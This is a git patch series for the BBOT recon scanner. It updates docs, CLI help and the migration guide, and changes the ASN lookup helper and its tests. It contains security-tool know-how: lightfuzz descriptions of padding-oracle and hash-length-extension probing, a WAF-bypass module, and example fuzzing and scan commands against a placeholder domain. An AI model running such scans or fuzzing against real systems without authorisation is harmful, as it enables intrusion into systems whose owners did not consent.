6c34ed62d7..c86e5cf4e1 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -121,7 +121,7 @@ BBOT is an async, recursive OSINT tool. A scan starts with **seed events** (targ Events are the currency of BBOT. Every piece of data -- a hostname, IP, URL, open port, finding -- is an event. Events have: -- **type**: `DNS_NAME`, `IP_ADDRESS`, `URL`, `OPEN_TCP_PORT`, `HTTP_RESPONSE`, `FINDING`, `VULNERABILITY`, `EMAIL_ADDRESS`, etc. +- **type**: `DNS_NAME`, `IP_ADDRESS`, `URL`, `OPEN_TCP_PORT`, `HTTP_RESPONSE`, `FINDING`, `EMAIL_ADDRESS`, etc. - **data**: the actual data (a string, dict, etc.) - **parent**: the event that led to this one (forming a discovery chain) - **scope_distance**: how many hops from the original target (0 = in-scope) diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index 14d078fa32..6aa7c1bff7 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -36,7 +36,7 @@ Severity represents how bad the issue is *if it's real*. Levels, from worst to l | **HIGH** | Significant security impact (e.g., SQL injection, SSRF, path traversal, unsafe deserialization) | | **MEDIUM** | Moderate impact, often client-side (e.g., XSS, ESI) | | **LOW** | Minor or limited-scope issue | -| **INFORMATIONAL** | Interesting observation, not directly exploitable (e.g., cryptographic parameter detected) | +| **INFO** | Interesting observation, not directly exploitable (e.g., cryptographic parameter detected) | ### Confidence @@ -159,13 +159,13 @@ This stage bypasses the entropy gate (Stage 1) because the short ASCII plaintext **Stage 1 — Cryptanalysis Gate**: Checks if the parameter value is likely encrypted by calculating Shannon entropy (threshold: 4.5) and whether its decoded length is a multiple of 8 (suggesting a block cipher). If entropy is below threshold, all per-value tests are skipped (Stage 0's cross-value check has already run). -**Stage 2 — Response Divergence** (INFORMATIONAL severity, LOW confidence): Performs byte-level manipulations (truncation and single-byte mutation) and compares responses against both the baseline and an arbitrary garbage value. If the manipulated ciphertext produces a *different* response from both the original *and* garbage input, the parameter likely drives a real cryptographic operation. +**Stage 2 — Response Divergence** (INFO severity, LOW confidence): Performs byte-level manipulations (truncation and single-byte mutation) and compares responses against both the baseline and an arbitrary garbage value. If the manipulated ciphertext produces a *different* response from both the original *and* garbage input, the parameter likely drives a real cryptographic operation. -**Stage 3 — Error String Detection** (INFORMATIONAL severity, LOW confidence): Scans manipulation responses for cryptographic error messages using YARA rules (e.g., "padding is invalid", "invalid mac", "OpenSSL Error"). Errors present in the baseline are filtered out to avoid false positives. +**Stage 3 — Error String Detection** (INFO severity, LOW confidence): Scans manipulation responses for cryptographic error messages using YARA rules (e.g., "padding is invalid", "invalid mac", "OpenSSL Error"). Errors present in the baseline are filtered out to avoid false positives. **Stage 4 — Padding Oracle** (HIGH severity, HIGH confidence): If a block cipher is suspected, performs a targeted padding oracle test. Constructs a crafted ciphertext with a null IV block and iterates through all 256 possible last-byte values. A true padding oracle produces a small number of differing responses (1 up to block_size, since multi-byte padding values like `\x02\x02` can also produce valid padding if the intermediate bytes happen to align). To avoid false positives from servers that reflect or reveal submitted/decrypted values, probe values are stripped from both responses before comparison, and small character-level differences (≤5 chars in equal-length responses) are tolerated. Handles the edge case where the baseline byte is the correct padding byte (1/255 chance) by retrying with a different baseline. -**Stage 5 — Hash Length Extension** (INFORMATIONAL severity, LOW confidence): If the parameter value matches a known hash length (MD5/SHA-1/SHA-256/SHA-384/SHA-512), checks whether modifying *other* parameters on the same request causes the hash parameter's response to change — suggesting those parameters are inputs to the hash, which could enable length extension attacks. +**Stage 5 — Hash Length Extension** (INFO severity, LOW confidence): If the parameter value matches a known hash length (MD5/SHA-1/SHA-256/SHA-384/SHA-512), checks whether modifying *other* parameters on the same request causes the hash parameter's response to change — suggesting those parameters are inputs to the hash, which could enable length extension attacks. ### `serial` — Unsafe Deserialization diff --git a/docs/modules/wayback.md b/docs/modules/wayback.md index a3f30f3e23..972949cb53 100644 --- a/docs/modules/wayback.md +++ b/docs/modules/wayback.md @@ -27,7 +27,7 @@ To unlock the more advanced features, you need to enable them via configuration ### URL Discovery (`urls: True`) -When `urls` is enabled, wayback emits `URL_UNVERIFIED` events for every unique URL found in the Wayback Machine's index. These are tagged with `from-wayback` and sent through BBOT's normal URL verification pipeline (httpx). +When `urls` is enabled, wayback emits `URL_UNVERIFIED` events for every unique URL found in the Wayback Machine's index. These are tagged with `from-wayback` and sent through BBOT's normal URL verification pipeline (the `http` module). Before emission, URLs go through several cleanup steps: @@ -39,7 +39,7 @@ Before emission, URLs go through several cleanup steps: When `parameters` is enabled (requires `urls: True`), wayback extracts query string parameters from archived URLs and emits them as `WEB_PARAMETER` events. This is useful for discovering GET parameters that can be fed into fuzzing modules like lightfuzz. -Parameters are cached and only emitted after the corresponding URL has been verified as live by httpx. This prevents emitting parameters for URLs that no longer exist. +Parameters are cached and only emitted after the corresponding URL has been verified as live by the `http` module. This prevents emitting parameters for URLs that no longer exist. !!! note Parameter extraction requires at least one module that consumes `WEB_PARAMETER` events to be active (e.g. `lightfuzz`, `hunt`, `paramminer_getparams`). If no such module is present, parameter extraction is automatically disabled with a warning. @@ -99,9 +99,9 @@ Wayback's extended features are also enabled in several other presets: |-----------------------|-----------------------------------------| | `kitchen-sink` | `urls`, `parameters`, `archive` | | `dirbust-heavy` | `urls` | -| `nuclei-intense` | `urls` | +| `nuclei-heavy` | `urls` | | `lightfuzz-heavy` | `urls`, `parameters` | -| `lightfuzz-superheavy`| `urls`, `parameters`, `archive` | +| `lightfuzz-max` | `urls`, `parameters`, `archive` | ## Example Commands @@ -122,12 +122,12 @@ bbot -p wayback-heavy -t evilcorp.com ```bash # Enable wayback URLs alongside a nuclei scan -bbot -p nuclei -m wayback -c modules.wayback.urls=True --allow-deadly -t evilcorp.com +bbot -p nuclei -m wayback -c modules.wayback.urls=True -t evilcorp.com ``` ```bash # Pair with lightfuzz for parameter fuzzing using archived parameters -bbot -p lightfuzz-heavy spider -t evilcorp.com --allow-deadly +bbot -p lightfuzz-heavy spider -t evilcorp.com ``` ```bash diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index 81f34f0ad4..ad6d6a05b3 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -161,7 +161,7 @@ If you already have a list of discovered targets (e.g. URLs) and don't need DNS- bbot -m http gowitness -t urls.txt -c dns.disable=true ~~~ -Note that the above setting _completely_ disables DNS, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're using an IP whitelist or blacklist. In this case, you'll want to use `dns.minimal` instead: +Note that the above setting _completely_ disables DNS, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're using an IP-based target or blacklist. In this case, you'll want to use `dns.minimal` instead: ~~~bash # only resolve A and AAAA records From 353318a9c4b65450a1be58d1fa69fb6a0056916f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 29 Jun 2026 19:18:27 -0400 Subject: [PATCH 907/912] Keep metavar placeholders in CLI help Regenerate docs/scanning/advanced.md under Python 3.12. Python 3.13+ argparse collapses repeated metavars (-H, --custom-headers CUSTOM_HEADERS), dropping the placeholder after the short flag. --- docs/scanning/advanced.md | 48 ++++++++++++++++++++------------------- 1 file changed, 25 insertions(+), 23 deletions(-) diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 7f8dd9c089..c9e56f7be4 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -43,9 +43,9 @@ usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] [-om MODULE [MODULE ...]] [-eom MODULE [MODULE ...]] [-lo] [--json] [--brief] [--no-color] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] - [--no-deps | --force-deps | --retry-deps | - --ignore-failed-deps] [--install-all-deps] [--version] - [--reset-config] [--reset-secrets] [--proxy HTTP_PROXY] + [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps] + [--install-all-deps] [--version] [--reset-config] + [--reset-secrets] [--proxy HTTP_PROXY] [--no-proxy HOST [HOST ...]] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] @@ -58,39 +58,40 @@ options: -h, --help show this help message and exit Target: - -t, --targets TARGET [TARGET ...] + -t TARGET [TARGET ...], --targets TARGET [TARGET ...] Target scope - -s, --seeds SEEDS [SEEDS ...] + -s SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...] Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets) - -b, --blacklist BLACKLIST [BLACKLIST ...] + -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...] Don't touch these things --strict-scope Don't consider subdomains of target to be in-scope - exact matches only Presets: - -p, --preset [PRESET ...] + -p [PRESET ...], --preset [PRESET ...] Enable BBOT preset(s) - -c, --config [CONFIG ...] + -c [CONFIG ...], --config [CONFIG ...] Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234' -lp, --list-presets List available presets. Modules: - -m, --modules MODULE [MODULE ...] + -m MODULE [MODULE ...], --modules MODULE [MODULE ...] Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virtualhost,virustotal,waf_bypass,wafw00f,wayback,webbrute,webbrute_shortnames -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options - -em, --exclude-modules MODULE [MODULE ...] + -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...] Exclude these modules. - -f, --flags FLAG [FLAG ...] + -f FLAG [FLAG ...], --flags FLAG [FLAG ...] Enable modules by flag. Choices: active,affiliates,baddns,cloud-enum,code-enum,download,email-enum,iis-shortnames,invasive,loud,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web,web-heavy,web-paramminer,web-screenshots -lf, --list-flags List available flags. - -rf, --require-flags FLAG [FLAG ...] + -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...] Only enable modules with these flags (e.g. -rf passive) - -ef, --exclude-flags FLAG [FLAG ...] + -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...] Disable modules with these flags. (e.g. -ef loud) Scan: - -n, --name SCAN_NAME Name of scan (default: random) + -n SCAN_NAME, --name SCAN_NAME + Name of scan (default: random) -v, --verbose Be more verbose -d, --debug Enable debugging -S, --silent Be quiet @@ -101,14 +102,15 @@ Scan: --current-preset Show the current preset in YAML format --current-preset-full Show the current preset in its full form, including defaults - -mh, --module-help MODULE + -mh MODULE, --module-help MODULE Show help for a specific module Output: - -o, --output-dir DIR Directory to output scan results - -om, --output-modules MODULE [MODULE ...] + -o DIR, --output-dir DIR + Directory to output scan results + -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...] Add output module(s). Choices: asset_inventory,csv,discord,elastic,emails,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,webhook,websocket,zeromq - -eom, --exclude-output-modules MODULE [MODULE ...] + -eom MODULE [MODULE ...], --exclude-output-modules MODULE [MODULE ...] Exclude output module(s) -lo, --list-output-modules List available output modules @@ -135,15 +137,15 @@ Misc: --proxy HTTP_PROXY Use this proxy for all HTTP requests --no-proxy HOST [HOST ...] Exclude these hosts from proxy (e.g. localhost *.internal.corp 10.0.0.0/8) - -H, --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] + -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] List of custom headers as key value pairs (header=value). - -C, --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] + -C CUSTOM_COOKIES [CUSTOM_COOKIES ...], --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] List of custom cookies as key value pairs (cookie=value). - --custom-yara-rules, -cy CUSTOM_YARA_RULES + --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES Add custom yara rules to excavate - --user-agent, -ua USER_AGENT + --user-agent USER_AGENT, -ua USER_AGENT Set the user-agent for all HTTP requests - --user-agent-suffix, -uas SUFFIX + --user-agent-suffix SUFFIX, -uas SUFFIX Suffix to append to the user-agent EXAMPLES From 508b7f5ce2b1085ae2bb1ae8bafe115d00b17a4d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 29 Jun 2026 19:36:30 -0400 Subject: [PATCH 908/912] Point docs links at Stable instead of Dev README and CONTRIBUTIONS are GitHub-rendered root files with no docs-site version context; mike publishes only versioned deep links (default: Stable), so these must name a version. Stable matches the rest of the README's links. --- CONTRIBUTIONS.md | 2 +- README.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTIONS.md b/CONTRIBUTIONS.md index 59d24e3985..b7155f5318 100644 --- a/CONTRIBUTIONS.md +++ b/CONTRIBUTIONS.md @@ -2,4 +2,4 @@ See our full contribution guide at: -**https://www.blacklanternsecurity.com/bbot/Dev/contribution/** +**https://www.blacklanternsecurity.com/bbot/Stable/contribution/** diff --git a/README.md b/README.md index 3f08a21b6d..2beaa88dcc 100644 --- a/README.md +++ b/README.md @@ -71,7 +71,7 @@ config: -BBOT consistently finds 20-50% more subdomains than other tools. The bigger the domain, the bigger the difference. To learn how this is possible, see [How It Works](https://www.blacklanternsecurity.com/bbot/Dev/how_it_works/). +BBOT consistently finds 20-50% more subdomains than other tools. The bigger the domain, the bigger the difference. To learn how this is possible, see [How It Works](https://www.blacklanternsecurity.com/bbot/Stable/how_it_works/). ![subdomain-stats-ebay](https://github.com/blacklanternsecurity/bbot/assets/20261699/de3e7f21-6f52-4ac4-8eab-367296cd385f) From 6166dd71905d83e253c2356c8dc6a10862a448eb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 29 Jun 2026 21:31:59 -0400 Subject: [PATCH 909/912] Migration guide: engine framework removal, redact_secrets, waf_bypass Note bbot.core.engine / BBOTEngineError / CurlError removal and WebError/DNSError reparenting; add redact_secrets and waf_bypass; sync cloudcheck/asndb dep bounds. --- docs/migration/3.0_breaking_changes.md | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md index 528b6d8ab4..a7fae3a761 100644 --- a/docs/migration/3.0_breaking_changes.md +++ b/docs/migration/3.0_breaking_changes.md @@ -172,6 +172,7 @@ truth. - `http` -- replaces `httpx`; runs through the in-process [blasthttp](https://github.com/blacklanternsecurity/blasthttp) client. - `webbrute` / `webbrute_shortnames` -- ffuf replacements, also via blasthttp. - `bucket_hetzner`, `shodan_enterprise`, `trajan`, `legba`. +- `waf_bypass` -- finds WAF/CDN bypasses by reaching protected content directly via origin IPs (SimHash content matching, with optional ASN-neighbor exploration). - Output: `elastic`, `kafka`, `mongo`, `nats`, `rabbitmq`, `zeromq`. - Lightfuzz submodules `esi` and `ssrf`. @@ -437,6 +438,9 @@ Changes: ### Added - `max_mem_percent` -- global ingress throttle when RSS exceeds the threshold. +- `redact_secrets` (default `true`) -- redacts secret values (API keys, tokens) + when a resolved preset is serialized to YAML (e.g. the generated `bbot.yml`). + Set to `false` to include them. - `web.user_agent_suffix` -- appended to the user agent (previously buried as a hidden CLI flag). - `web.http_rate_limit` -- global rps cap across the shared blasthttp client. @@ -513,6 +517,12 @@ architecture was deleted. `request_batch` / `request_custom_batch` / `curl` methods were replaced by `request()`, `request_batch_stream(urls, threads=10, **kwargs)`, and `download()`. +- **Engine framework removed**: the `bbot.core.engine` module (`EngineBase` / + `EngineClient` / `EngineServer`) and the `BBOTEngineError` exception were + deleted along with the subprocess architecture. `WebError` and `DNSError` now + subclass `BBOTError` directly, and `CurlError` was removed. External code + importing `bbot.core.engine`, `BBOTEngineError`, or `CurlError` must be + updated. - The blasthttp dependency line is `blasthttp>=0.9.0`. Modules that previously instantiated their own `httpx.AsyncClient` or built @@ -595,10 +605,10 @@ If your downstream tooling relied on seeing `HTTP_RESPONSE` or `<3.15`. - **Lockstep deps**: - `radixtarget >=4.0.1,<5` (composition pattern, no longer subclassed) - - `cloudcheck >=11.0.0,<12` + - `cloudcheck >=11.1.0,<12` - `blasthttp >=0.9.0` (new) - `blastdns >=1.9.0,<2` (new) - - `asndb >=1.0.4` (new) + - `asndb >=1.1.0` (new) - `zstandard` (new; used by HTTP body spill) - `httpx` **removed** as a runtime dep. From 6d33cb04354059d898ae07151a9bc1eef62e686b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 29 Jun 2026 22:16:24 -0400 Subject: [PATCH 910/912] Fix event.md cross-link and add webbrute to nav event.md linked to ../../scanning/events (outside docs root); correct to ../scanning/events.md to match other dev pages. Wire the orphaned webbrute deep-dive page into the Modules nav. --- docs/dev/event.md | 2 +- mkdocs.yml | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/dev/event.md b/docs/dev/event.md index 79f0cc7cb5..7bc7400f28 100644 --- a/docs/dev/event.md +++ b/docs/dev/event.md @@ -1,4 +1,4 @@ -This is a developer reference. For a high-level description of BBOT events including a full list of event types, see [Events](../../scanning/events) +This is a developer reference. For a high-level description of BBOT events including a full list of event types, see [Events](../scanning/events.md) ::: bbot.core.event.base.make_event ::: bbot.core.event.base.event_from_json diff --git a/mkdocs.yml b/mkdocs.yml index 40202f8d91..8a535b70d1 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -35,6 +35,7 @@ nav: - Wayback: modules/wayback.md - Custom YARA Rules: modules/custom_yara_rules.md - Lightfuzz: modules/lightfuzz.md + - Webbrute: modules/webbrute.md - Migration: - 2.x → 3.0 Breaking Changes: migration/3.0_breaking_changes.md - Misc: From 591c25a65094f91e5b30f7b0fddc896758e02529 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 29 Jun 2026 22:24:18 -0400 Subject: [PATCH 911/912] Add internal modules page to nav --- mkdocs.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/mkdocs.yml b/mkdocs.yml index 8a535b70d1..946fe6f498 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -31,6 +31,7 @@ nav: - Configuration: scanning/configuration.md - Modules: - List of Modules: modules/list_of_modules.md + - Internal Modules: modules/internal_modules.md - Nuclei: modules/nuclei.md - Wayback: modules/wayback.md - Custom YARA Rules: modules/custom_yara_rules.md From 3d1338e1eddfe724448bf52ec1f6047ba74f37f3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 2 Jul 2026 15:45:31 -0400 Subject: [PATCH 912/912] asn: filter non-global IPs and serialize asndb lookups - filter with is_global instead of is_private so CGNAT/reserved space (no public ASN) isn't looked up - serialize asndb requests via NamedLock so concurrent callers don't stampede the rate-limited bbot.io API --- bbot/core/helpers/asn.py | 9 +++++++-- bbot/modules/report/asn.py | 3 ++- .../test_step_2/module_tests/test_module_asn.py | 16 ++++++++++++++++ 3 files changed, 25 insertions(+), 3 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 5da042f19c..30de61554d 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -1,6 +1,7 @@ import logging from bbot.errors import ASNResolutionError +from bbot.core.helpers.async_helpers import NamedLock log = logging.getLogger("bbot.core.helpers.asn") @@ -30,6 +31,8 @@ def __init__(self, parent_helper): self._client = None self._consecutive_failures = 0 self._circuit_broken = False + # serialize asndb requests so concurrent callers don't stampede the rate-limited API + self._request_lock = NamedLock() @property def client(self): @@ -69,7 +72,8 @@ async def ip_to_subnets(self, ip): if self._circuit_broken: return self.UNKNOWN_ASN try: - response = await self.client.lookup_ip(str(ip), include_subnets=True) + async with self._request_lock.lock("asndb"): + response = await self.client.lookup_ip(str(ip), include_subnets=True) except Exception as e: log.warning(f"ASN lookup failed for IP {ip}: {e}") self._record_failure() @@ -89,7 +93,8 @@ async def asn_to_subnets(self, asn): last_error = None for attempt in range(1, self.MAX_RETRIES + 1): try: - response = await self.client.lookup_asn(asn, include_subnets=True) + async with self._request_lock.lock("asndb"): + response = await self.client.lookup_asn(asn, include_subnets=True) return self._normalize(response) except Exception as e: last_error = e diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 87eef80414..2e9663a7d5 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -24,7 +24,8 @@ async def setup(self): async def filter_event(self, event): if str(event.module) == "ipneighbor": return False - if getattr(event.host, "is_private", False): + # only look up globally-routable IPs; private/CGNAT/reserved space has no public ASN + if not getattr(event.host, "is_global", True): return False return True diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index 5c848ab9d5..4d5eaf8235 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -32,6 +32,22 @@ def check(self, module_test, events): ) +class TestASNCGNATFiltered(ModuleTestBase): + """CGNAT space (100.64.0.0/10) is not globally routable and has no public ASN, so it must be + filtered out before any lookup (is_global check, not just is_private).""" + + targets = ["100.64.0.1"] + module_name = "asn" + modules_overrides = ["asn", "speculate"] + config_overrides = {"scope": {"report_distance": 2}, "speculate": True} + + def check(self, module_test, events): + asn_events = [e for e in events if e.type == "ASN"] + assert not asn_events, ( + f"Should not emit any ASN events for CGNAT IP, but found: {[e.data for e in asn_events]}" + ) + + class TestASNReportNoNetwork(ModuleTestBase): """Regression: report() uses metadata stored during handle_event() with zero network calls."""